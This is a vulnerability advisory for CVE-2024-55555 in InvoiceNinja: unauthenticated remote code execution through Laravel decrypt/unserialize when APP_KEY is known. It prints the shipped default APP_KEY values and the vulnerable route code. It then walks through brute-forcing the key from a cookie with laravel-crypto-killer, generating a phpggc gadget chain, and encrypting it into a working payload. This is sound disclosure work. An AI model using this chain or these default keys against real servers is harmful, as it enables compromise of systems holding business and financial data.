InvoiceNinja - Unauthenticated Remote Command Execution when APP_KEY known

13/12/2024 - Téléchargement

Product

InvoiceNinja

Severity

High

Fixed Version(s)

5.10.11

Affected Version(s)

≥ 5.8.22 ≤ 5.10.10

CVE Number

CVE-2024-55555

Authors

Rémi Matasse

Mickaël Benassouli

Description

Presentation

InvoiceNinja is a free invoicing software for small businesses, based on the PHP framework Laravel.

Issue(s)

Synacktiv identified two issues on InvoiceNinja:

  • The /route/<hash> route accepts a Laravel ciphered value which is then unserialized, leading to remote code execution if an attacker gets access to the APP_KEY.
  • The usage of a default APP_KEY value on several .env files from the main repository can put users at risk regarding the previous issue.

When both vulnerabilities are met on an InvoiceNinja instance, an unauthenticated attacker could compromise it.

Timeline

Date Description
2024.07.18 Advisory sent to contact@invoiceninja.com
2024.07.19 Invoiceninja silently patched the vulnerability
2024.09.18 New mail sent to contact@invoiceninja.com, since no feedback on the patch in place was communicated
2024.12.08 CVE-2024-55555 assigned
2024.12.13 Public release

 

Technical details

Usage of a default APP_KEY value on .env templates on GitHub

Description

Several .env templates from the InvoiceNinja repository contain default values for the APP_KEY environment variable.

$ git clone https://github.com/invoiceninja/invoiceninja
$ grep APP_KEY invoiceninja/.env*
invoiceninja/.env.ci:APP_KEY=
invoiceninja/.env.dusk.example:APP_KEY=s7epnjtomsdond5zgfqgaqmwhhcjct02
invoiceninja/.env.example:APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
invoiceninja/.env.travis:APP_KEY=SomeRandomStringSomeRandomString

 

Impact

While the documentation mentions the php artisan key:generate command to generate a unique APP_KEY, developers may still use the default .env templates and put their instance at risk. As described in the next vulnerability, this parameter could allow unauthenticated users to execute remote commands on the affected servers.

Recommendation

Regenerate a new APP_KEY if you do use the default configuration of the application, the command php artisan key:generate can be used to do so.

Arbitrary unserialization via decrypt

Description

The route/{hash} route defined in the invoiceninja/routes/client.php file can be accessed without authentication. (link to the commit introducing the vulnerability here)

<?php
[...]
Route::get('route/{hash}', function ($hash) {

    $route = '/';

    try {
        $route = decrypt($hash); 
    }
    catch (\Exception $e) { 
        abort(404);
    }

    return redirect($route);

})->middleware('throttle:404');

This method decrypts user-controlled data from which the application will try to extract a route and use it as a redirection. However, when called from a Laravel environment, the decrypt() function will be the one from Illuminate\Encryption (source):

namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        $decrypted = \openssl_decrypt(
            $payload['value'], $this->cipher, $this->key, 0, $iv
        );

        if ($decrypted === false) {
            throw new DecryptException('Could not decrypt the data.');
        }

        return $unserialize ? unserialize($decrypted) : $decrypted;
    }

In this implementation, a call to unserialize() is performed by default by the application if the input data is successfully decrypted. This decryption is performed by using the value of the secret key stored in the APP_KEY environment variable.

Impact

An attacker in possession of the APP_KEY is able to fully control a string passed to an unserialize function.

The XSRF-TOKEN cookie is delivered to any unauthenticated user navigating to the /login endpoint on an InvoiceNinja instance:

$ curl -I http://in5.localhost/login
HTTP/1.1 200 OK
X-Powered-By: PHP/8.2.26
[...]
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImxyekJ1UDlubXVGMUMrN0xQdzZjRVE9PSIsInZhbHVlIjoiYm16di9YdlhlWWhtY1oxY2g2b2pFVGxjWUlsMUx2WldlaWZBTyt1QVZoZ214UXVQSUVXbG1uaTh5MktVWndlR3psMVNQTy9PWVphSU5oRXNJck1nUURWbnlRZTdYS1d2amUyQ1lXTmtoVkg2aCtTWWt4NERJUzlKMnk4bEhXYTAiLCJtYWMiOiIxOGI0NTg3NGY0MjY5ZjhiNGE4YzhlZjRhZDkxYTFlYTBkMzQwNDIyN2YxZjExNTlhMjgwYTI5OTJmNDQ1NTRmIiwidGFnIjoiIn0%3D; expires=Thu, 12 Dec 2024 15:08:21 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6ImFhdVJ6TUZjMGFndlJOMkdjcCtHUEE9PSIsInZhbHVlIjoiYkV3aFkzNFFkbFNpVGJCR1lDbzhuKzhZK0tWYUFkNDBjbHFucm5NeWZNQjFHbEE5Z1NpOUJ1SnRydm1IUDFhajY1K0cvVXh6eUFueTM5QTBScnlXWXBGRjhiWmpqcnA5UkV6OFpXNmVHTzZBaWFsaGhQMW1WNXkrRzhMTzZENm8iLCJtYWMiOiIwYWQ3MDEwOTIwNmJiZDNmZWY0NTZlZDgwMzEzNmNjMzMyNDkwNTIwZmViNDQ5NDNkN2UzZjcxOWI4ODFkMDU3IiwidGFnIjoiIn0%3D; expires=Thu, 12 Dec 2024 15:08:21 GMT; Max-Age=7200; path=/; httponly; samesite=lax

As shown on the previous vulnerability, a default APP_KEY can be defined if the developers copied the default .env.example file provided by InvoiceNinja.

In order to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. In the following example, the bruteforce option was used in order to try several default known APP_KEYs such as the ones from InvoiceNinja:

$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6ImxyekJ1UDlubXVGMUMrN0xQdzZjRVE9PSIsInZhbHVlIjoiYm16di9YdlhlWWhtY1oxY2g2b2pFVGxjWUlsMUx2WldlaWZBTyt1QVZoZ214UXVQSUVXbG1uaTh5MktVWndlR3psMVNQTy9PWVphSU5oRXNJck1nUURWbnlRZTdYS1d2amUyQ1lXTmtoVkg2aCtTWWt4NERJUzlKMnk4bEhXYTAiLCJtYWMiOiIxOGI0NTg3NGY0MjY5ZjhiNGE4YzhlZjRhZDkxYTFlYTBkMzQwNDIyN2YxZjExNTlhMjgwYTI5OTJmNDQ1NTRmIiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6ImxyekJ1UDlubXVGMUMrN0xQdzZjRVE9PSIsInZhbHVlIjoiYm16di9YdlhlWWhtY1oxY2g2b2pFVGxjWUlsMUx2WldlaWZBTyt1QVZoZ214UXVQSUVXbG1uaTh5MktVWndlR3psMVNQTy9PWVphSU5oRXNJck1nUURWbnlRZTdYS1d2amUyQ1lXTmtoVkg2aCtTWWt4NERJUzlKMnk4bEhXYTAiLCJtYWMiOiIxOGI0NTg3NGY0MjY5ZjhiNGE4YzhlZjRhZDkxYTFlYTBkMzQwNDIyN2YxZjExNTlhMjgwYTI5OTJmNDQ1NTRmIiwidGFnIjoiIn0%3D
Key : base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
[*] Unciphered value
e60eab8287b88f834312505e582750ae6f95a84b|XmzARHf1WC9lBPtY8xfIuDK5XMOyleTTUzsfQtG6
100%|███████████████████████████████████| 1/1 [00:00<00:00, 41.95it/s]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json

To generate a serialization payload designed to run the bash command id on a Laravel based server the tool phpggc was used.

$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==

Finally, to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be once more. The chain generated from phpggc can be encrypted again in order to get remote command execution on the affected server, without prior access:

$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=
remote-command-execution-invoiceninja

The following video sums up the exploitation process:

Video file

Recommendation

Upgrade InvoiceNinja to version 5.10.11 or greater.